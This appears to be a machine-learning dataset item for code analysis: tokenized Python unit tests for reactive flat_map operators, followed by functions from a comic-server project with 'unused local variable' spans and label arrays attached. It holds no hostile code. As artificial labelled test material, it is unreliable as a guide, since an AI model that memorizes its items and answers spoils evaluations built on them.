"\\u", "completed_", "(_", "290_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "factory_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "projection_", "(_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Observable_", "._", "interval_", "(_", "10_", ",_", "scheduler_", ")_", "._", "map_", "(_", "lambda_", "a_", ",_", "b_", ":_", "x_", ")_", "._", "take_", "(_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "xs_", "._", "select", "\\u", "many_", "(_", "projection_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "results_", "=_", "scheduler_", "._", "start_", "(_", "factory_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "results_", "._", "messages_", "._", "assert", "\\u", "equal_", "(_", "on", "\\u", "next_", "(_", "220_", ",_", "4_", ")_", ",_", "on", "\\u", "next_", "(_", "230_", ",_", "3_", ")_", ",_", "on", "\\u", "next_", "(_", "230_", ",_", "4_", ")_", ",_", "on", "\\u", "next_", "(_", "240_", ",_", "3_", ")_", ",_", "on", "\\u", "next_", "(_", "240_", ",_", "4_", ")_", ",_", "on", "\\u", "next_", "(_", "250_", ",_", "3_", ")_", ",_", "on", "\\u", "next_", "(_", "250_", ",_", "4_", ")_", ",_", "on", "\\u", "next_", "(_", "260_", ",_", "5_", ")_", ",_", "on", "\\u", "next_", "(_", "270_", ",_", "5_", ")_", ",_", "on", "\\u", "next_", "(_", "280_", ",_", "1_", ")_", ",_", "on", "\\u", "next_", "(_", "280_", ",_", "5_", ")_", ",_", "on", "\\u", "next_", "(_", "290_", ",_", "5_", ")_", ",_", "on", "\\u", "next_", "(_", "300_", ",_", "5_", ")_", ",_", "on", "\\u", "completed_", "(_", "300_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "200_", ",_", "290_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Select", "Many", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "flat", "\\u", "map", "\\u", "iterable", "\\u", "complete_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "scheduler_", "=_", "Test", "Scheduler_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "xs_", "=_", "scheduler_", "._", "create", "\\u", "hot", "\\u", "observable_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "210_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "340_", ",_", "4_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "420_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "510", "_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "completed_", "(_", "600_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inner", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "create_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "mapper_", "(_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ys_", "=_", "[_", "x_", "]_", "*_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inner", "s_", "._", "append_", "(_", "ys_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "ys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "xs_", "._", "flat", "\\u", "map_", "(_", "mapper_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "res_", "=_", "scheduler_", "._", "start_", "(_", "create_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "res_", "._", "messages_", "._", "assert", "\\u", "equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "210_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "210_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "340_", ",_", "4_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "340_", ",_", "4_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "340_", ",_", "4_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "340_", ",_", "4_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "420_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "420_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "420_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "510", "_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "510", "_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "completed_", "(_", "600_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "xs_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "subscribe_", "(_", "200_", ",_", "600_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "(_", "4_", "==_", "len_", "(_", "inner", "s_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Select", "Many", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "flat", "\\u", "map", "\\u", "iterable", "\\u", "complete", "\\u", "result", "\\u", "selector_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "scheduler_", "=_", "Test", "Scheduler_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "xs_", "=_", "scheduler_", "._", "create", "\\u", "hot", "\\u", "observable_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "210_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "340_", ",_", "4_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "420_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "510", "_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "completed_", "(_", "600_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "create_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "xs_", "._", "flat", "\\u", "map_", "(_", "lambda_", "x_", ",_", "i_", ":_", "[_", "x_", "]_", "*_", "x_", ",_", "lambda_", "x_", ",_", "y_", ",_", "i_", ":_", "x_", "+_", "y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "res_", "=_", "scheduler_", "._", "start_", "(_", "create_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "res_", "._", "messages_", "._", "assert", "\\u", "equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "210_", ",_", "4_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "210_", ",_", "4_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "340_", ",_", "8_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "340_", ",_", "8_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "340_", ",_", "8_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "340_", ",_", "8_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "420_", ",_", "6_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "420_", ",_", "6_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "420_", ",_", "6_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "510", "_", ",_", "4_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "(_", "510", "_", ",_", "4_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "completed_", "(_", "600_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "xs_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_",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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
beville/ComicStreamer/comicstreamerlib/server.py
[ { "content": " def processComicQueryArgs(self, query):\n def hasValue(obj):\n return obj is not None and obj != \"\"\n \n keyphrase_filter = self.get_argument(u\"keyphrase\", default=None)\n series_filter = self.get_argument(u\"series\", default=None)\n path_filter = self.get_argument(u\"path\", default=None)\n folder_filter = self.get_argument(u\"folder\", default=\"\")\n title_filter = self.get_argument(u\"title\", default=None)\n start_filter = self.get_argument(u\"start_date\", default=None)\n end_filter = self.get_argument(u\"end_date\", default=None)\n added_since = self.get_argument(u\"added_since\", default=None)\n modified_since = self.get_argument(u\"modified_since\", default=None)\n lastread_since = self.get_argument(u\"lastread_since\", default=None)\n order = self.get_argument(u\"order\", default=None)\n character = self.get_argument(u\"character\", default=None)\n team = self.get_argument(u\"team\", default=None)\n location = self.get_argument(u\"location\", default=None)\n storyarc = self.get_argument(u\"storyarc\", default=None)\n volume = self.get_argument(u\"volume\", default=None)\n publisher = self.get_argument(u\"publisher\", default=None)\n credit_filter = self.get_argument(u\"credit\", default=None)\n tag = self.get_argument(u\"tag\", default=None)\n genre = self.get_argument(u\"genre\", default=None)\n\n if folder_filter != \"\":\n folder_filter = os.path.normcase(os.path.normpath(folder_filter))\n print folder_filter\n \n person = None\n role = None\n if hasValue(credit_filter):\n credit_info = credit_filter.split(\":\")\n if len(credit_info[0]) != 0:\n person = credit_info[0] \n if len(credit_info) > 1:\n role = credit_info[1]\n\n if hasValue(person):\n query = query.join(Credit).filter(Person.name.ilike(person.replace(\"*\",\"%\"))).filter(Credit.person_id==Person.id)\n if role is not None:\n query = query.filter(Credit.role_id==Role.id).filter(Role.name.ilike(role.replace(\"*\",\"%\")))\n #query = query.filter( Comic.persons.contains(unicode(person).replace(\"*\",\"%\") ))\n \n if hasValue(keyphrase_filter):\n keyphrase_filter = unicode(keyphrase_filter).replace(\"*\",\"%\")\n keyphrase_filter = \"%\" + keyphrase_filter + \"%\"\n query = query.filter( Comic.series.ilike(keyphrase_filter) \n | Comic.title.ilike(keyphrase_filter)\n | Comic.publisher.ilike(keyphrase_filter)\n | Comic.path.ilike(keyphrase_filter)\n | Comic.comments.ilike(keyphrase_filter)\n #| Comic.characters_raw.any(Character.name.ilike(keyphrase_filter))\n #| Comic.teams_raw.any(Team.name.ilike(keyphrase_filter))\n #| Comic.locations_raw.any(Location.name.ilike(keyphrase_filter))\n #| Comic.storyarcs_raw.any(StoryArc.name.ilike(keyphrase_filter))\n | Comic.persons_raw.any(Person.name.ilike(keyphrase_filter))\n )\n\n def addQueryOnScalar(query, obj_prop, filt):\n if hasValue(filt):\n filt = unicode(filt).replace(\"*\",\"%\")\n return query.filter( obj_prop.ilike(filt))\n else:\n return query\n def addQueryOnList(query, obj_list, list_prop, filt):\n if hasValue(filt):\n filt = unicode(filt).replace(\"*\",\"%\")\n return query.filter( obj_list.any(list_prop.ilike(filt)))\n else:\n return query\n\n query = addQueryOnScalar(query, Comic.series, series_filter)\n query = addQueryOnScalar(query, Comic.title, title_filter)\n query = addQueryOnScalar(query, Comic.path, path_filter)\n query = addQueryOnScalar(query, Comic.folder, folder_filter)\n query = addQueryOnScalar(query, Comic.publisher, publisher)\n query = addQueryOnList(query, Comic.characters_raw, Character.name, character)\n query = addQueryOnList(query, Comic.generictags_raw, GenericTag.name, tag)\n query = addQueryOnList(query, Comic.teams_raw, Team.name, team)\n query = addQueryOnList(query, Comic.locations_raw, Location.name, location)\n query = addQueryOnList(query, Comic.storyarcs_raw, StoryArc.name, storyarc)\n query = addQueryOnList(query, Comic.genres_raw, Genre.name, genre)\n #if hasValue(series_filter):\n # query = query.filter( Comic.series.ilike(unicode(series_filter).replace(\"*\",\"%\") ))\n #if hasValue(title_filter):\n # query = query.filter( Comic.title.ilike(unicode(title_filter).replace(\"*\",\"%\") ))\n #if hasValue(filename_filter):\n # query = query.filter( Comic.path.ilike(unicode(filename_filter).replace(\"*\",\"%\") ))\n #if hasValue(publisher):\n # query = query.filter( Comic.publisher.ilike(unicode(publisher).replace(\"*\",\"%\") ))\n #if hasValue(character):\n # query = query.filter( Comic.characters_raw.any(Character.name.ilike(unicode(character).replace(\"*\",\"%\") )))\n #if hasValue(tag):\n # query = query.filter( Comic.generictags.contains(unicode(tag).replace(\"*\",\"%\") ))\n #if hasValue(team):\n # query = query.filter( Comic.teams.contains(unicode(team).replace(\"*\",\"%\") ))\n #if hasValue(location):\n # query = query.filter( Comic.locations.contains(unicode(location).replace(\"*\",\"%\") ))\n #if hasValue(storyarc):\n # query = query.filter( Comic.storyarcs.contains(unicode(storyarc).replace(\"*\",\"%\") ))\n #if hasValue(genre):\n # query = query.filter( Comic.genres.contains(unicode(genre).replace(\"*\",\"%\") ))\n if hasValue(volume):\n try:\n vol = 0\n vol = int(volume)\n query = query.filter(Comic.volume == vol)\n except:\n pass\n \n if hasValue(start_filter):\n try:\n dt = dateutil.parser.parse(start_filter)\n query = query.filter( Comic.date >= dt)\n except:\n pass\n \n if hasValue(end_filter):\n try:\n dt = dateutil.parser.parse(end_filter)\n query = query.filter( Comic.date <= dt)\n except:\n pass\n \n if hasValue(modified_since):\n try:\n dt=dateutil.parser.parse(modified_since)\n resultset = resultset.filter( Comic.mod_ts >= dt )\n except:\n pass\n\n if hasValue(added_since):\n try:\n dt=dateutil.parser.parse(added_since)\n query = query.filter( Comic.added_ts >= dt )\n except:\n pass\n \n if hasValue(lastread_since):\n try:\n dt=dateutil.parser.parse(lastread_since)\n query = query.filter( Comic.lastread_ts >= dt, Comic.lastread_ts != \"\" )\n except:\n pass\n \n order_key = None\n # ATB temp hack to cover \"slicing\" bug where\n # if no order specified, the child collections\n # get chopped off sometimes\n if not hasValue(order):\n order = \"id\"\n \n if hasValue(order):\n if order[0] == \"-\":\n order_desc = True\n order = order[1:]\n else:\n order_desc = False\n if order == \"id\":\n order_key = Comic.id \n if order == \"series\":\n order_key = Comic.series\n elif order == \"modified\":\n order_key = Comic.mod_ts\n elif order == \"added\":\n order_key = Comic.added_ts\n elif order == \"lastread\":\n order_key = Comic.lastread_ts\n elif order == \"volume\":\n order_key = Comic.volume\n elif order == \"issue\":\n order_key = Comic.issue_num\n elif order == \"date\":\n order_key = Comic.date\n elif order == \"publisher\":\n order_key = Comic.publisher\n elif order == \"title\":\n order_key = Comic.title\n elif order == \"path\":\n order_key = Comic.path\n \n if order_key is not None:\n if order_desc:\n order_key = order_key.desc() \n query = query.order_by(order_key)\n\n return query ", "metadata": "root.JSONResultAPIHandler.processComicQueryArgs", "header": "['class', 'JSONResultAPIHandler', '(', 'GenericAPIHandler', ')', ':', '___EOS___']", "index": 127 }, { "content": " def get(self, args): \n self.validateAPIKey()\n session = self.application.dm.Session()\n if args is not None:\n args = urllib.unquote(args)\n arglist = args.split('/')\n arglist = filter(None, arglist)\n argcount = len(arglist)\n else:\n arglist = list()\n argcount = 0\n \n folder_list = self.application.config['general']['folder_list']\n\n response = {\n 'current' : \"\",\n 'folders' : [],\n 'comics' : {\n 'url_path' : \"\",\n 'count' : 0\n } \n } \n if argcount == 0:\n # just send the list of root level folders\n for idx, val in enumerate(folder_list):\n item = {\n 'name': val,\n 'url_path' : \"/folders/\" + str(idx)\n } \n response['folders'].append(item)\n \n else:\n try:\n # need to validate the first arg is an index into the list\n folder_idx = int(arglist[0])\n if folder_idx >= len(folder_list):\n raise Exception\n\n # build up a folder by combining the root folder with the following path\n path = os.path.join(folder_list[folder_idx], *arglist[1:] )\n # validate *that* folder\n if not os.path.exists(path):\n print \"Not exist\", path, type(path) \n raise Exception\n \n\n response['current'] = path\n # create a list of subfolders \n for o in os.listdir(path):\n if os.path.isdir(os.path.join(path,o)):\n sub_path = u\"/folders\" + args + u\"/\" + o\n sub_path = urllib.quote(sub_path.encode(\"utf-8\"))\n item = {\n 'name': o,\n 'url_path' : sub_path\n } \n response['folders'].append(item)\n # see if there are any comics here\n response['comics']['count'] = session.query(Comic).filter(Comic.folder == path).count()\n comic_path = u\"/comiclist?folder=\" + urllib.quote(u\"{0}\".format(path).encode('utf-8'))\n response['comics']['url_path'] = comic_path\n\n except FloatingPointError as e:\n print e\n raise tornado.web.HTTPError(404, \"Unknown folder\")\n \n self.setContentType()\n self.write(response)", "metadata": "root.FolderAPIHandler.get", "header": "['class', 'FolderAPIHandler', '(', 'JSONResultAPIHandler', ')', ':', '___EOS___']", "index": 596 }, { "content": " @tornado.web.authenticated\n def get(self, comic_id):\n session = self.application.dm.Session()\n obj = session.query(Comic).filter(Comic.id == int(comic_id)).first()\n page_data = None\n if obj is not None:\n #self.render(\"templates/reader.html\", make_list=self.make_list, id=comic_id, count=obj.page_count)\n #self.render(\"test.html\", make_list=self.make_list, id=comic_id, count=obj.page_count)\n \n title = os.path.basename(obj.path)\n if obj.series is not None and obj.issue is not None:\n title = obj.series + u\" #\" + obj.issue\n if obj.title is not None :\n title += u\" -- \" + obj.title\n if obj.lastread_page is None:\n target_page = 0\n else:\n target_page=obj.lastread_page \n \n self.render(\"cbreader.html\",\n title=title,\n id=comic_id,\n count=obj.page_count,\n page=target_page,\n api_key=self.application.config['security']['api_key'])\n \n def make_list(self, id, count):\n text = u\"\"\n for i in range(count):\n text += u\"\\'page/\" + str(i) + u\"\\',\"\n return text", "metadata": "root.ReaderHandler.get", "header": "['class', 'ReaderHandler', '(', 'BaseHandler', ')', ':', '___EOS___']", "index": 832 }, { "content": " @tornado.web.authenticated\n def post(self):\n formdata = dict()\n formdata['port'] = self.get_argument(u\"port\", default=\"\")\n formdata['folders'] = self.get_argument(u\"folders\", default=\"\")\n formdata['use_authentication'] = (len(self.get_arguments(\"use_authentication\"))!=0)\n formdata['username'] = self.get_argument(u\"username\", default=\"\")\n formdata['password'] = self.get_argument(u\"password\", default=\"\")\n formdata['password_confirm'] = self.get_argument(u\"password_confirm\", default=\"\")\n formdata['use_api_key'] = (len(self.get_arguments(\"use_api_key\"))!=0)\n formdata['api_key'] = self.get_argument(u\"api_key\", default=\"\")\n formdata['launch_browser'] = (len(self.get_arguments(\"launch_browser\"))!=0)\n \n failure_str = \"\"\n success_str = \"\"\n failure_strs = list()\n validated = False\n \n old_folder_list = self.application.config['general']['folder_list']\n new_folder_list = [os.path.normcase(os.path.abspath(os.path.normpath(unicode(a)))) for a in formdata['folders'].splitlines()]\n\n try:\n for i, f in enumerate(new_folder_list):\n #validate folders exist\n if not (os.path.exists(f) and os.path.isdir(f)):\n failure_strs.append(u\"Folder {0} doesn't exist.\".format(f))\n break\n # check for repeat or contained \n for j, f1 in enumerate(new_folder_list):\n if i != j:\n if f1 == f:\n failure_strs.append(u\"Can't have repeat folders.\")\n raise Exception\n if f1.startswith(f + os.path.sep):\n failure_strs.append(u\"One folder can't contain another.\")\n raise Exception\n except Exception:\n pass\n \n \n\n port_failed = False\n old_port = self.application.config['general']['port']\n\n #validate numeric port\n if not formdata['port'].isdigit():\n port_failed = True\n failure_strs.append(u\"Non-numeric port value: {0}\".format(formdata['port']))\n \n #validate port range\n if not port_failed: \n new_port = int(formdata['port'])\n if new_port > 49151 or new_port < 1024:\n failure_strs.append(u\"Port value out of range (1024-4151): {0}\".format(new_port))\n port_failed = True\n\n #validate port availability\n if not port_failed: \n if new_port != old_port and not self.is_port_available(new_port):\n failure_strs.append(u\"Port not available: {0}\".format(new_port))\n port_failed = True\n \n #validate password and username are set\n if formdata['use_authentication'] and (formdata['username']==\"\" or formdata['password']==\"\"):\n failure_strs.append(u\"Username and password must be filled in if the 'use authentication' box is checked\")\n \n #validate password pair is the same\n if formdata['password'] != formdata['password_confirm']:\n failure_strs.append(u\"Password fields don't match.\")\n\n if formdata['use_api_key'] and formdata['api_key']==\"\":\n failure_strs.append(u\"API Key must have a value if the box is checked\")\n\n if len(failure_strs) == 0:\n validated = True\n \n if validated:\n # was the password changed?\n password_changed = True\n if formdata['use_authentication']:\n if formdata['password'] == ConfigPageHandler.fakepass:\n password_changed = False \n elif utils.getDigest(formdata['password']) == self.application.config['security']['password_digest']:\n password_changed = False\n else:\n password_changed = False\n \n # find out if we need to save:\n if (new_port != old_port or\n new_folder_list != old_folder_list or\n formdata['username'] != self.application.config['security']['username'] or\n password_changed or\n formdata['use_api_key'] != self.application.config['security']['use_api_key'] or\n formdata['api_key'] != self.application.config['security']['api_key'] or\n formdata['launch_browser'] != self.application.config['general']['launch_browser'] \n ): \n # apply everything from the form\n self.application.config['general']['folder_list'] = new_folder_list\n self.application.config['general']['port'] = new_port\n self.application.config['security']['use_authentication'] = formdata['use_authentication']\n self.application.config['security']['username'] = formdata['username']\n if formdata['password'] != ConfigPageHandler.fakepass:\n self.application.config['security']['password_digest'] = utils.getDigest(formdata['password'])\n self.application.config['security']['use_api_key'] = formdata['use_api_key']\n if self.application.config['security']['use_api_key']:\n self.application.config['security']['api_key'] = formdata['api_key']\n else:\n self.application.config['security']['api_key'] = \"\"\n formdata['api_key'] = \"\"\n self.application.config['general']['launch_browser'] = formdata['launch_browser']\n \n success_str = \"Saved. Server restart needed\"\n self.application.config.write()\n else:\n failure_str = \"<br/>\".join(failure_strs)\n formdata['password'] = \"\"\n formdata['password_confirm'] = \"\"\n \n self.render_config(formdata, success=success_str, failure=failure_str)", "metadata": "root.ConfigPageHandler.post", "header": "['class', 'ConfigPageHandler', '(', 'BaseHandler', ')', ':', '___EOS___']", "index": 983 } ]
[ { "span": "resultset ", "start_line": 255, "start_column": 16, "end_line": 255, "end_column": 25 }, { "span": "arglist ", "start_line": 605, "start_column": 12, "end_line": 605, "end_column": 19 }, { "span": "page_data ", "start_line": 836, "start_column": 8, "end_line": 836, "end_column": 17 }, { "span": "make_list(", "start_line": 858, "start_column": 12, "end_line": 858, "end_column": 21 }, { "span": "port_failed ", "start_line": 1043, "start_column": 16, "end_line": 1043, "end_column": 27 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "JSONR", "esult", "API", "Handler_", "(_", "Gene", "ric", "API", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "process", "Com", "ic", "Query", "Args_", "(_", "self_", ",_", "query_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "has", "Value_", "(_", "obj_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "obj_", "is_", "not_", "None_", "and_", "obj_", "!=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "key", "phrase", "\\u", "filter_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "u", "\"", "key", "phrase", "\"_", ",_", "default_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "series", "\\u", "filter_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "u", "\"", "series", "\"_", ",_", "default_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path", "\\u", "filter_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "u", "\"", "path", "\"_", ",_", "default_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "folder", "\\u", "filter_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "u", "\"", "folder", "\"_", ",_", "default_", "=_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "title", "\\u", "filter_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "u", "\"", "title", "\"_", ",_", "default_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start", "\\u", "filter_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "u", "\"", "start", "\\u", "date", "\"_", ",_", "default_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end", "\\u", "filter_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "u", "\"", "end", "\\u", "date", "\"_", ",_", "default_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "adde", "d\\u", "since_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "u", "\"", "adde", "d\\u", "sinc", "e", "\"_", ",_", "default_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "modifi", "ed", "\\u", "since_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "u", "\"", "modifi", "ed", "\\u", "sinc", "e", "\"_", ",_", "default_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lastr", "ead", "\\u", "since_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "u", "\"", "lastr", "ead", "\\u", "sinc", "e", "\"_", ",_", "default_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "order_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "u", "\"", "order", "\"_", ",_", "default_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "character_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "u", "\"", "character", "\"_", ",_", "default_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "team_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "u", "\"", "team", "\"_", ",_", "default_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "location_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "u", "\"", "location", "\"_", ",_", "default_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stor", "yar", "c_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "u", "\"", "stor", "yar", "c", "\"_", ",_", "default_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "volume_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "u", "\"", "volume", "\"_", ",_", "default_", "=_", "None_", ")_", 